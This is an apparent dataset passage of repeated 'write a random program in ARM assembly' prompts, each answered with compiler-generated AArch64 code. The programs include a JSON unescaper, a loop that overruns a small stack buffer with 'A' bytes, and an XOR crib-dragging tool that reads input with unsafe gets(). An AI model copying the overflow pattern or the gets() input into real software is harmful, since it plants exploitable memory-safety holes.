cmp x1, x0
bne .L6
ldr x1, [sp, 32]
ldr x0, [sp, 48]
cmp x1, x0
bne .L6
ldr w1, [sp, 28]
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl printf
b .L5
.L6:
ldr x1, [sp, 32]
ldr x0, [sp, 40]
cmp x1, x0
beq .L7
ldr x1, [sp, 40]
ldr x0, [sp, 48]
cmp x1, x0
beq .L7
ldr x1, [sp, 32]
ldr x0, [sp, 48]
cmp x1, x0
bne .L8
.L7:
ldr w1, [sp, 28]
adrp x0, .LC4
add x0, x0, :lo12:.LC4
bl printf
b .L5
.L8:
ldr w1, [sp, 28]
adrp x0, .LC5
add x0, x0, :lo12:.LC5
bl printf
.L5:
ldr w0, [sp, 28]
add w0, w0, 1
str w0, [sp, 28]
.L2:
ldr w0, [sp, 24]
ldr w1, [sp, 28]
cmp w1, w0
ble .L9
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 56]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L11
bl __stack_chk_fail
.L11:
mov w0, w1
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
bl initialize
fmov d0, -1.0e+0
bl run
bl finalize
mov w0, 0
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.type u8_escape_codepoint, %function
u8_escape_codepoint:
.LFB6:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, 8]
str x1, [sp]
str wzr, [sp, 20]
ldr x0, [sp]
ldr x0, [x0]
str x0, [sp, 24]
ldr x0, [sp, 8]
cmp x0, 0
bgt .L2
mov w0, 0
b .L3
.L2:
ldr x0, [sp, 8]
cmp x0, 127
bgt .L4
ldr w0, [sp, 20]
add w1, w0, 1
str w1, [sp, 20]
sxtw x0, w0
ldr x1, [sp, 24]
add x0, x1, x0
ldr x1, [sp, 8]
and w1, w1, 255
strb w1, [x0]
b .L5
.L4:
ldr x0, [sp, 8]
cmp x0, 2047
bgt .L6
ldr x0, [sp, 8]
asr x0, x0, 6
sxtb w0, w0
and w0, w0, 31
sxtb w0, w0
orr w0, w0, -64
sxtb w2, w0
ldr w0, [sp, 20]
add w1, w0, 1
str w1, [sp, 20]
sxtw x0, w0
ldr x1, [sp, 24]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr x0, [sp, 8]
sxtb w0, w0
and w0, w0, 63
sxtb w0, w0
orr w0, w0, -128
sxtb w2, w0
ldr w0, [sp, 20]
add w1, w0, 1
str w1, [sp, 20]
sxtw x0, w0
ldr x1, [sp, 24]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
b .L5
.L6:
ldr x1, [sp, 8]
mov x0, 65535
cmp x1, x0
bgt .L7
ldr x0, [sp, 8]
asr x0, x0, 12
sxtb w0, w0
and w0, w0, 15
sxtb w0, w0
orr w0, w0, -32
sxtb w2, w0
ldr w0, [sp, 20]
add w1, w0, 1
str w1, [sp, 20]
sxtw x0, w0
ldr x1, [sp, 24]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr x0, [sp, 8]
asr x0, x0, 6
sxtb w0, w0
and w0, w0, 63
sxtb w0, w0
orr w0, w0, -128
sxtb w2, w0
ldr w0, [sp, 20]
add w1, w0, 1
str w1, [sp, 20]
sxtw x0, w0
ldr x1, [sp, 24]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr x0, [sp, 8]
sxtb w0, w0
and w0, w0, 63
sxtb w0, w0
orr w0, w0, -128
sxtb w2, w0
ldr w0, [sp, 20]
add w1, w0, 1
str w1, [sp, 20]
sxtw x0, w0
ldr x1, [sp, 24]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
b .L5
.L7:
ldr x1, [sp, 8]
mov w0, 1114111
cmp x1, x0
bgt .L8
ldr x0, [sp, 8]
asr x0, x0, 18
sxtb w0, w0
and w0, w0, 7
sxtb w0, w0
orr w0, w0, -16
sxtb w2, w0
ldr w0, [sp, 20]
add w1, w0, 1
str w1, [sp, 20]
sxtw x0, w0
ldr x1, [sp, 24]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr x0, [sp, 8]
asr x0, x0, 12
sxtb w0, w0
and w0, w0, 63
sxtb w0, w0
orr w0, w0, -128
sxtb w2, w0
ldr w0, [sp, 20]
add w1, w0, 1
str w1, [sp, 20]
sxtw x0, w0
ldr x1, [sp, 24]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr x0, [sp, 8]
asr x0, x0, 6
sxtb w0, w0
and w0, w0, 63
sxtb w0, w0
orr w0, w0, -128
sxtb w2, w0
ldr w0, [sp, 20]
add w1, w0, 1
str w1, [sp, 20]
sxtw x0, w0
ldr x1, [sp, 24]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr x0, [sp, 8]
sxtb w0, w0
and w0, w0, 63
sxtb w0, w0
orr w0, w0, -128
sxtb w2, w0
ldr w0, [sp, 20]
add w1, w0, 1
str w1, [sp, 20]
sxtw x0, w0
ldr x1, [sp, 24]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
b .L5
.L8:
mov w0, 0
b .L3
.L5:
ldr w0, [sp, 20]
.L3:
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size u8_escape_codepoint, .-u8_escape_codepoint
.section .rodata
.align 3
.LC1:
.string "codepoint: %lx\n"
.text
.align 2
.type u8_unescape_json_string, %function
u8_unescape_json_string:
.LFB7:
.cfi_startproc
stp x29, x30, [sp, -128]!
.cfi_def_cfa_offset 128
.cfi_offset 29, -128
.cfi_offset 30, -120
mov x29, sp
str x0, [sp, 40]
str w1, [sp, 36]
str x2, [sp, 24]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 120]
mov x1, 0
str wzr, [sp, 56]
ldr x0, [sp, 24]
ldr x0, [x0]
str x0, [sp, 96]
adrp x0, .LC0
add x1, x0, :lo12:.LC0
add x0, sp, 112
ldr w2, [x1]
str w2, [x0]
ldrb w1, [x1, 4]
strb w1, [x0, 4]
str wzr, [sp, 68]
str wzr, [sp, 60]
b .L10
.L39:
ldrsw x0, [sp, 60]
ldr x1, [sp, 40]
add x0, x1, x0
ldrb w0, [x0]
strb w0, [sp, 55]
ldr w0, [sp, 68]
cmp w0, 0
bne .L11
ldrb w0, [sp, 55]
cmp w0, 92
bne .L12
mov w0, 1
str w0, [sp, 68]
b .L13
.L12:
ldr w0, [sp, 56]
add w1, w0, 1
str w1, [sp, 56]
sxtw x0, w0
ldr x1, [sp, 96]
add x0, x1, x0
ldrb w1, [sp, 55]
strb w1, [x0]
b .L13
.L11:
ldr w0, [sp, 68]
cmp w0, 1
bne .L14
ldrb w0, [sp, 55]
cmp w0, 117
bne .L15
str wzr, [sp, 64]
mov w0, 2
str w0, [sp, 68]
b .L13
.L15:
ldrb w0, [sp, 55]
cmp w0, 116
beq .L16
cmp w0, 116
bgt .L17
cmp w0, 114
beq .L18
cmp w0, 114
bgt .L17
cmp w0, 110
beq .L19
cmp w0, 110
bgt .L17
cmp w0, 98
beq .L20
cmp w0, 102
beq .L21
b .L17
.L19:
ldr w0, [sp, 56]
add w1, w0, 1
str w1, [sp, 56]
sxtw x0, w0
ldr x1, [sp, 96]
add x0, x1, x0
mov w1, 10
strb w1, [x0]
b .L22
.L16:
ldr w0, [sp, 56]
add w1, w0, 1
str w1, [sp, 56]
sxtw x0, w0
ldr x1, [sp, 96]
add x0, x1, x0
mov w1, 9
strb w1, [x0]
b .L22
.L18:
ldr w0, [sp, 56]
add w1, w0, 1
str w1, [sp, 56]
sxtw x0, w0
ldr x1, [sp, 96]
add x0, x1, x0
mov w1, 13
strb w1, [x0]
b .L22
.L20:
ldr w0, [sp, 56]
add w1, w0, 1
str w1, [sp, 56]
sxtw x0, w0
ldr x1, [sp, 96]
add x0, x1, x0
mov w1, 8
strb w1, [x0]
b .L22
.L21:
ldr w0, [sp, 56]
add w1, w0, 1
str w1, [sp, 56]
sxtw x0, w0
ldr x1, [sp, 96]
add x0, x1, x0
mov w1, 12
strb w1, [x0]
b .L22
.L17:
ldr w0, [sp, 56]
add w1, w0, 1
str w1, [sp, 56]
sxtw x0, w0
ldr x1, [sp, 96]
add x0, x1, x0
ldrb w1, [sp, 55]
strb w1, [x0]
nop
.L22:
str wzr, [sp, 68]
b .L13
.L14:
ldr w0, [sp, 68]
cmp w0, 2
bne .L23
ldr w0, [sp, 64]
add w1, w0, 1
str w1, [sp, 64]
sxtw x0, w0
add x1, sp, 112
ldrb w2, [sp, 55]
strb w2, [x1, x0]
ldr w0, [sp, 64]
cmp w0, 4
bne .L13
add x0, sp, 112
mov w2, 16
mov x1, 0
bl strtol
str x0, [sp, 88]
ldr x0, [sp, 88]
and x1, x0, 64512
mov x0, 55296
cmp x1, x0
bne .L24
ldr x0, [sp, 88]
str x0, [sp, 80]
mov w0, 3
str w0, [sp, 68]
b .L13
.L24:
ldrsw x0, [sp, 56]
ldr x1, [sp, 96]
add x0, x1, x0
str x0, [sp, 72]
add x0, sp, 72
mov x1, x0
ldr x0, [sp, 88]
bl u8_escape_codepoint
mov w1, w0
ldr w0, [sp, 56]
add w0, w0, w1
str w0, [sp, 56]
str wzr, [sp, 68]
b .L13
.L23:
ldr w0, [sp, 68]
cmp w0, 3
bne .L25
ldrb w0, [sp, 55]
cmp w0, 92
bne .L26
mov w0, 4
str w0, [sp, 68]
b .L13
.L26:
ldr w0, [sp, 56]
add w1, w0, 1
str w1, [sp, 56]
sxtw x0, w0
ldr x1, [sp, 96]
add x0, x1, x0
ldrb w1, [sp, 55]
strb w1, [x0]
str wzr, [sp, 68]
b .L13
.L25:
ldr w0, [sp, 68]
cmp w0, 4
bne .L27
ldrb w0, [sp, 55]
cmp w0, 117
bne .L28
str wzr, [sp, 64]
mov w0, 5
str w0, [sp, 68]
b .L13
.L28:
ldrb w0, [sp, 55]
cmp w0, 116
beq .L29
cmp w0, 116
bgt .L30
cmp w0, 114
beq .L31
cmp w0, 114
bgt .L30
cmp w0, 110
beq .L32
cmp w0, 110
bgt .L30
cmp w0, 98
beq .L33
cmp w0, 102
beq .L34
b .L30
.L32:
ldr w0, [sp, 56]
add w1, w0, 1
str w1, [sp, 56]
sxtw x0, w0
ldr x1, [sp, 96]
add x0, x1, x0
mov w1, 10
strb w1, [x0]
b .L35
.L29:
ldr w0, [sp, 56]
add w1, w0, 1
str w1, [sp, 56]
sxtw x0, w0
ldr x1, [sp, 96]
add x0, x1, x0
mov w1, 9
strb w1, [x0]
b .L35
.L31:
ldr w0, [sp, 56]
add w1, w0, 1
str w1, [sp, 56]
sxtw x0, w0
ldr x1, [sp, 96]
add x0, x1, x0
mov w1, 13
strb w1, [x0]
b .L35
.L33:
ldr w0, [sp, 56]
add w1, w0, 1
str w1, [sp, 56]
sxtw x0, w0
ldr x1, [sp, 96]
add x0, x1, x0
mov w1, 8
strb w1, [x0]
b .L35
.L34:
ldr w0, [sp, 56]
add w1, w0, 1
str w1, [sp, 56]
sxtw x0, w0
ldr x1, [sp, 96]
add x0, x1, x0
mov w1, 12
strb w1, [x0]
b .L35
.L30:
ldr w0, [sp, 56]
add w1, w0, 1
str w1, [sp, 56]
sxtw x0, w0
ldr x1, [sp, 96]
add x0, x1, x0
ldrb w1, [sp, 55]
strb w1, [x0]
nop
.L35:
str wzr, [sp, 68]
b .L13
.L27:
ldr w0, [sp, 68]
cmp w0, 5
bne .L36
ldr w0, [sp, 64]
add w1, w0, 1
str w1, [sp, 64]
sxtw x0, w0
add x1, sp, 112
ldrb w2, [sp, 55]
strb w2, [x1, x0]
ldr w0, [sp, 64]
cmp w0, 4
bne .L13
add x0, sp, 112
mov w2, 16
mov x1, 0
bl strtol
str x0, [sp, 88]
ldr x0, [sp, 88]
and x1, x0, 64512
mov x0, 56320
cmp x1, x0
bne .L37
ldr x0, [sp, 88]
str x0, [sp, 104]
ldr x0, [sp, 80]
lsl x0, x0, 10
and x1, x0, 1047552
ldr x0, [sp, 104]
and x0, x0, 1023
orr x0, x1, x0
add x0, x0, 65536
str x0, [sp, 88]
ldr x1, [sp, 88]
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl printf
.L37:
ldrsw x0, [sp, 56]
ldr x1, [sp, 96]
add x0, x1, x0
str x0, [sp, 72]
add x0, sp, 72
mov x1, x0
ldr x0, [sp, 88]
bl u8_escape_codepoint
mov w1, w0
ldr w0, [sp, 56]
add w0, w0, w1
str w0, [sp, 56]
str wzr, [sp, 68]
b .L13
.L36:
mov w0, -1
b .L40
.L13:
ldr w0, [sp, 60]
add w0, w0, 1
str w0, [sp, 60]
.L10:
ldr w1, [sp, 60]
ldr w0, [sp, 36]
cmp w1, w0
blt .L39
ldrsw x0, [sp, 56]
ldr x1, [sp, 96]
add x0, x1, x0
strb wzr, [x0]
ldr w0, [sp, 56]
.L40:
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 120]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L41
bl __stack_chk_fail
.L41:
mov w0, w1
ldp x29, x30, [sp], 128
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE7:
.size u8_unescape_json_string, .-u8_unescape_json_string
.section .rodata
.align 3
.LC0:
.string "xxxx"
.text
.section .rodata
.align 3
.LC2:
.string "Argument expected."
.align 3
.LC3:
.string "Input:\n------\n%s\n\n"
.align 3
.LC4:
.string "Output:\n-------\n%s\n\n"
.text
.align 2
.global main
.type main, %function
main:
.LFB8:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str w0, [sp, 28]
str x1, [sp, 16]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 56]
mov x1, 0
ldr w0, [sp, 28]
cmp w0, 1
bgt .L43
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl puts
mov w0, 1
b .L45
.L43:
ldr x0, [sp, 16]
ldr x0, [x0, 8]
str x0, [sp, 48]
ldr x1, [sp, 48]
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl printf
ldr x0, [sp, 48]
bl strlen
str w0, [sp, 32]
ldr w0, [sp, 32]
add w0, w0, 1
sxtw x0, w0
mov x1, 1
bl calloc
str x0, [sp, 40]
add x0, sp, 40
mov x2, x0
ldr w1, [sp, 32]
ldr x0, [sp, 48]
bl u8_unescape_json_string
str w0, [sp, 36]
ldr x0, [sp, 40]
mov x1, x0
adrp x0, .LC4
add x0, x0, :lo12:.LC4
bl printf
mov w0, 0
.L45:
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 56]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L46
bl __stack_chk_fail
.L46:
mov w0, w1
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE8:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str w0, [sp, 28]
str x1, [sp, 16]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 56]
mov x1, 0
mov w0, 4105
str w0, [sp, 36]
str wzr, [sp, 32]
.L4:
ldrsw x0, [sp, 32]
add x1, sp, 40
mov w2, 65
strb w2, [x1, x0]
ldr w0, [sp, 32]
add w0, w0, 1
str w0, [sp, 32]
ldr w1, [sp, 32]
ldr w0, [sp, 36]
cmp w1, w0
bgt .L8
b .L4
.L8:
nop
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 56]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L6
bl __stack_chk_fail
.L6:
mov w0, w1
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.global ciphertext
.bss
.align 3
.type ciphertext, %object
.size ciphertext, 2000
ciphertext:
.zero 2000
.global p
.align 3
.type p, %object
.size p, 2000
p:
.zero 2000
.global q
.align 3
.type q, %object
.size q, 2000
q:
.zero 2000
.global cipherlen
.align 2
.type cipherlen, %object
.size cipherlen, 4
cipherlen:
.zero 4
.section .rodata
.align 3
.LC0:
.string "%-10d"
.text
.align 2
.global insert
.type insert, %function
insert:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str w0, [sp, 28]
str x1, [sp, 16]
ldr x0, [sp, 16]
bl strlen
str w0, [sp, 44]
str wzr, [sp, 40]
b .L2
.L3:
ldrsw x0, [sp, 40]
ldr x1, [sp, 16]
add x0, x1, x0
ldr w2, [sp, 28]
ldr w1, [sp, 40]
add w3, w2, w1
ldrb w2, [x0]
adrp x0, p
add x1, x0, :lo12:p
sxtw x0, w3
strb w2, [x1, x0]
ldr w1, [sp, 28]
ldr w0, [sp, 40]
add w2, w1, w0
adrp x0, ciphertext
add x1, x0, :lo12:ciphertext
sxtw x0, w2
ldrb w1, [x1, x0]
ldrsw x0, [sp, 40]
ldr x2, [sp, 16]
add x0, x2, x0
ldrb w0, [x0]
ldr w3, [sp, 28]
ldr w2, [sp, 40]
add w3, w3, w2
eor w0, w1, w0
and w2, w0, 255
adrp x0, q
add x1, x0, :lo12:q
sxtw x0, w3
strb w2, [x1, x0]
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L2:
ldr w1, [sp, 40]
ldr w0, [sp, 44]
cmp w1, w0
blt .L3
ldr w1, [sp, 28]
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
str wzr, [sp, 40]
b .L4
.L5:
ldr w1, [sp, 28]
ldr w0, [sp, 40]
add w2, w1, w0
adrp x0, q
add x1, x0, :lo12:q
sxtw x0, w2
ldrb w0, [x1, x0]
bl putchar
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L4:
ldr w1, [sp, 40]
ldr w0, [sp, 44]
cmp w1, w0
blt .L5
mov w0, 10
bl putchar
nop
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size insert, .-insert
.align 2
.global drag
.type drag, %function
drag:
.LFB7:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
ldr x0, [sp, 24]
bl strlen
str w0, [sp, 44]
str wzr, [sp, 36]
b .L7
.L15:
str wzr, [sp, 40]
b .L8
.L13:
ldr w1, [sp, 36]
ldr w0, [sp, 40]
add w2, w1, w0
adrp x0, ciphertext
add x1, x0, :lo12:ciphertext
sxtw x0, w2
ldrb w1, [x1, x0]
ldrsw x0, [sp, 40]
ldr x2, [sp, 24]
add x0, x2, x0
ldrb w0, [x0]
eor w0, w1, w0
strb w0, [sp, 35]
bl __ctype_b_loc
ldr x1, [x0]
ldrb w0, [sp, 35]
lsl x0, x0, 1
add x0, x1, x0
ldrh w0, [x0]
and w0, w0, 1024
cmp w0, 0
bne .L16
ldrb w0, [sp, 35]
cmp w0, 32
beq .L17
ldrb w0, [sp, 35]
cmp w0, 46
beq .L17
ldrb w0, [sp, 35]
cmp w0, 44
bne .L12
b .L17
.L16:
nop
b .L10
.L17:
nop
.L10:
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L8:
ldr w1, [sp, 40]
ldr w0, [sp, 44]
cmp w1, w0
blt .L13
.L12:
ldr w1, [sp, 40]
ldr w0, [sp, 44]
cmp w1, w0
bne .L14
ldr x1, [sp, 24]
ldr w0, [sp, 36]
bl insert
ldr w1, [sp, 36]
ldr w0, [sp, 40]
add w0, w1, w0
sub w0, w0, #1
str w0, [sp, 36]
.L14:
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
.L7:
adrp x0, cipherlen
add x0, x0, :lo12:cipherlen
ldr w1, [x0]
ldr w0, [sp, 44]
sub w0, w1, w0
ldr w1, [sp, 36]
cmp w1, w0
blt .L15
nop
nop
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE7:
.size drag, .-drag
.section .rodata
.align 3
.LC1:
.string "The plaintext p:"
.align 3
.LC2:
.string "\n"
.align 3
.LC3:
.string "The plaintext q:"
.text
.align 2
.global printpq
.type printpq, %function
printpq:
.LFB8:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl puts
str wzr, [sp, 24]
b .L19
.L22:
adrp x0, p
add x1, x0, :lo12:p
ldrsw x0, [sp, 24]
ldrb w0, [x1, x0]
cmp w0, 0
beq .L20
adrp x0, p
add x1, x0, :lo12:p
ldrsw x0, [sp, 24]
ldrb w0, [x1, x0]
b .L21
.L20:
mov w0, 46
.L21:
bl putchar
ldr w0, [sp, 24]
add w0, w0, 1
str w0, [sp, 24]
.L19:
adrp x0, cipherlen
add x0, x0, :lo12:cipherlen
ldr w0, [x0]
ldr w1, [sp, 24]
cmp w1, w0
blt .L22
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl puts
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl puts
str wzr, [sp, 28]
b .L23
.L26:
adrp x0, q
add x1, x0, :lo12:q
ldrsw x0, [sp, 28]
ldrb w0, [x1, x0]
cmp w0, 0
beq .L24
adrp x0, q
add x1, x0, :lo12:q
ldrsw x0, [sp, 28]
ldrb w0, [x1, x0]
b .L25
.L24:
mov w0, 46
.L25:
bl putchar
ldr w0, [sp, 28]
add w0, w0, 1
str w0, [sp, 28]
.L23:
adrp x0, cipherlen
add x0, x0, :lo12:cipherlen
ldr w0, [x0]
ldr w1, [sp, 28]
cmp w1, w0
blt .L26
mov w0, 10
bl putchar
nop
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE8:
.size printpq, .-printpq
.section .rodata
.align 3
.LC6:
.string "Input the words you want to drag. "
.align 3
.LC7:
.string "*** Recommand you to add spaces to each side of the words. ***"
.align 3
.LC8:
.string "rb"
.align 3
.LC9:
.string "Error: can't open the file.\n"
.align 3
.LC10:
.string "If you want to continue to search for other words?(Y/N)\n>"
.align 3
.LC11:
.string "%c"
.text
.align 2
.global main
.type main, %function
main:
.LFB9:
.cfi_startproc
stp x29, x30, [sp, -112]!
.cfi_def_cfa_offset 112
.cfi_offset 29, -112
.cfi_offset 30, -104
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 104]
mov x1, 0
mov w0, 89
strb w0, [sp, 19]
adrp x0, .LC4
add x1, x0, :lo12:.LC4
add x0, sp, 32
ldr w2, [x1]
str w2, [x0]
ldr w1, [x1, 3]
str w1, [x0, 3]
adrp x0, .LC5
add x1, x0, :lo12:.LC5
add x0, sp, 40
ldr w2, [x1]
str w2, [x0]
ldr w1, [x1, 3]
str w1, [x0, 3]
adrp x0, .LC6
add x0, x0, :lo12:.LC6
bl puts
adrp x0, .LC7
add x0, x0, :lo12:.LC7
bl puts
add x0, sp, 48
bl gets
add x2, sp, 32
adrp x0, .LC8
add x1, x0, :lo12:.LC8
mov x0, x2
bl fopen
str x0, [sp, 24]
ldr x0, [sp, 24]
cmp x0, 0
bne .L28
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl perror
mov w0, 0
bl exit
.L28:
ldr x3, [sp, 24]
mov x2, 2000
mov x1, 1
adrp x0, p
add x0, x0, :lo12:p
bl fread
mov w1, w0
adrp x0, cipherlen
add x0, x0, :lo12:cipherlen
str w1, [x0]
ldr x0, [sp, 24]
bl fclose
add x2, sp, 40
adrp x0, .LC8
add x1, x0, :lo12:.LC8
mov x0, x2
bl fopen
str x0, [sp, 24]
ldr x0, [sp, 24]
cmp x0, 0
bne .L29
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl perror
mov w0, 0
bl exit
.L29:
ldr x3, [sp, 24]
mov x2, 2000
mov x1, 1
adrp x0, q
add x0, x0, :lo12:q
bl fread
ldr x0, [sp, 24]
bl fclose
str wzr, [sp, 20]
b .L30
.L31:
adrp x0, p
add x1, x0, :lo12:p
ldrsw x0, [sp, 20]
ldrb w1, [x1, x0]
adrp x0, q
add x2, x0, :lo12:q
ldrsw x0, [sp, 20]
ldrb w0, [x2, x0]
eor w0, w1, w0
and w2, w0, 255
adrp x0, ciphertext
add x1, x0, :lo12:ciphertext
ldrsw x0, [sp, 20]
strb w2, [x1, x0]
ldr w0, [sp, 20]
add w0, w0, 1
str w0, [sp, 20]
.L30:
adrp x0, cipherlen
add x0, x0, :lo12:cipherlen
ldr w0, [x0]
ldr w1, [sp, 20]
cmp w1, w0
blt .L31
b .L32
.L33:
mov x2, 2000
mov w1, 0
adrp x0, q
add x0, x0, :lo12:q
bl memset
mov x2, 2000
mov w1, 0
adrp x0, p
add x0, x0, :lo12:p
bl memset
add x0, sp, 48
bl drag
adrp x0, .LC10
add x0, x0, :lo12:.LC10
bl printf
add x0, sp, 19
mov x1, x0
adrp x0, .LC11
add x0, x0, :lo12:.LC11
bl __isoc99_scanf
.L32:
ldrb w0, [sp, 19]
cmp w0, 89
beq .L33
ldrb w0, [sp, 19]
cmp w0, 121
beq .L33
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 104]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L35
bl __stack_chk_fail
.L35:
mov w0, w1
ldp x29, x30, [sp], 112
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE9:
.size main, .-main
.section .rodata
.align 3
.LC4:
.string "cp.dms"
.align 3
.LC5:
.string "cq.dms"
.text
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.type free_index, %function
free_index:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
str x0, [sp, 24]
ldr x0, [sp, 24]
cmp x0, 0
beq .L3
ldr x0, [sp, 24]
ldr x0, [x0, 8]
bl free
ldr x0, [sp, 24]
bl free
.L3:
nop
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size free_index, .-free_index
.align 2
.type addpoint, %function
addpoint:
.LFB7:
.cfi_startproc
stp x29, x30, [sp, -80]!
.cfi_def_cfa_offset 80
.cfi_offset 29, -80
.cfi_offset 30, -72
mov x29, sp
str x0, [sp, 56]
str w1, [sp, 52]
str x2, [sp, 40]
str x3, [sp, 32]
str w4, [sp, 48]
str x5, [sp, 24]
ldr x0, [sp, 56]
cmp x0, 0
bne .L5
mov x0, 16
bl malloc
str x0, [sp, 56]
ldr x0, [sp, 56]
cmp x0, 0
bne .L6
mov x0, 0
b .L7
.L6:
mov x0, 192
movk x0, 0x4, lsl 16
bl malloc
mov x1, x0
ldr x0, [sp, 56]
str x1, [x0, 8]
ldr x0, [sp, 56]
ldr x0, [x0, 8]
cmp x0, 0
bne .L8
ldr x0, [sp, 56]
bl free
mov x0, 0
b .L7
.L8:
ldr x0, [sp, 56]
mov w1, 8
str w1, [x0, 4]
ldr x0, [sp, 56]
str wzr, [x0]
b .L9
.L5:
ldr x0, [sp, 56]
ldr w1, [x0]
ldr x0, [sp, 56]
ldr w0, [x0, 4]
cmp w1, w0
bne .L9
ldr x0, [sp, 56]
ldr w0, [x0, 4]
lsl w1, w0, 1
ldr x0, [sp, 56]
str w1, [x0, 4]
ldr x0, [sp, 56]
ldr x2, [x0, 8]
ldr x0, [sp, 56]
ldr w0, [x0, 4]
sxtw x1, w0
mov x0, x1
lsl x0, x0, 10
add x0, x0, x1
lsl x0, x0, 2
sub x0, x0, x1
lsl x0, x0, 3
mov x1, x0
mov x0, x2
bl realloc
str x0, [sp, 72]
ldr x0, [sp, 72]
cmp x0, 0
bne .L10
ldr x0, [sp, 56]
bl free_index
mov x0, 0
b .L7
.L10:
ldr x0, [sp, 56]
